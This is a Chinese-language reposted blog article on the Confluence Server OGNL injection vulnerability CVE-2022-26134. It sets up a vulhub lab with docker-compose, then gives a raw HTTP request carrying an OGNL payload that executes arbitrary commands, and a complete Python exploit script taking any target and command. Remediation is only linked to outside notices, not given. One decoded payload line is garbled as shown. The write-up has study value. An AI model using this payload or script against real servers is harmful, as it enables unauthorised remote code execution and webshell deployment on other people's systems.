没错,这篇文章依然转载自好兄弟:安全圈小王子
在Atlassian Confluence Server and Data Center上存在OGNL 注入漏洞,恶意攻击者可以利用该漏洞在目标Atlassian Confluence Server and Data Center服务器上注入恶意ONGL表达式,造成远程执行代码并部署WebShell。
漏洞环境
新建一个docker-compose.yml
,内容如下:
version: '2'
services:
web:
image: vulhub/confluence:7.13.6
ports:
- "8090:8090"
depends_on:
- db
db:
image: postgres:12.8-alpine
environment:
- POSTGRES_PASSWORD=postgres
- POSTGRES_DB=confluence
执行如下命令启动一个Confluence Server 7.13.6:
docker-compose up -d
环境启动后,访问http://your-ip:8090会进入安装引导,会要求填写license key
。点击“Get an evaluation license
”,去Atlassian
官方申请一个Confluence Server
的测试证书:
Organization
随便填一个:
填写数据库信息的页面,PostgreSQL数据库地址为db
,数据库名称confluence
,用户名密码均为postgres
。
完了之后按照以下步骤安装设置。
漏洞学习
漏洞利用发送如下请求即可执行任意命令,并在HTTP返回头中获取执行结果:
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
OGNL表达式为:
${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
利用脚本
CVE-2022-26134/exploit.py at main · crowsec-edtech/CVE-2022-26134 (github.com)
py脚本
import requests
import re
import sys
from bs4 import BeautifulSoup
import urllib3
urllib3.disable_warnings()
def check(host):
r = requests.get(host+"/login.action", verify=False)
if(r.status_code == 200):
filter_version = re.findall("<span id='footer-build-information'>.*</span>",r.text)
if(len(filter_version)>=1):
version = filter_version[0].split("'>")[1].split('</')[0]
return version
else:
return False
else:
return host
def exploit(host, command):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': '*/*',
}
r = requests.get(host + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22'+command+'%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False)
if(r.status_code == 302):
return r.headers['X-Cmd-Response']
else:
return False
if(len(sys.argv) < 3):
print("USE: python3 " + sys.argv[0] + " https://target.com cmd")
print("ex: python3 " + sys.argv[0] + " https://target.com id")
else:
target = sys.argv[1]
cmd = sys.argv[2]
version = check(target)
print("============ GET Confluence Version ============")
if(version):
print("Version: " + version)
else:
print("Version: Not Found")
print(exploit(target, cmd))
使用效果
修复建议
具体参考各大厂商文章,就不复制粘贴了
如:
警惕 | Atlassian Confluence 远程代码执行漏洞 (qq.com)
【已复现】Atlassian Confluence Server and Data Center 远程代码执行漏洞安全风险通告 (qq.com)
【漏洞报送】Atlassian Confluence存在远程代码执行漏洞 (CVE-2022-26134) (qq.com)
参考链接
-
https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2022-26134
-
https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396
-
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
-
https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis
- END -
原文始发于微信公众号(棉花糖网络安全圈):【漏洞学习】Atlassian Confluence OGNL 注入命令执行漏洞(CVE-2022-26134)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论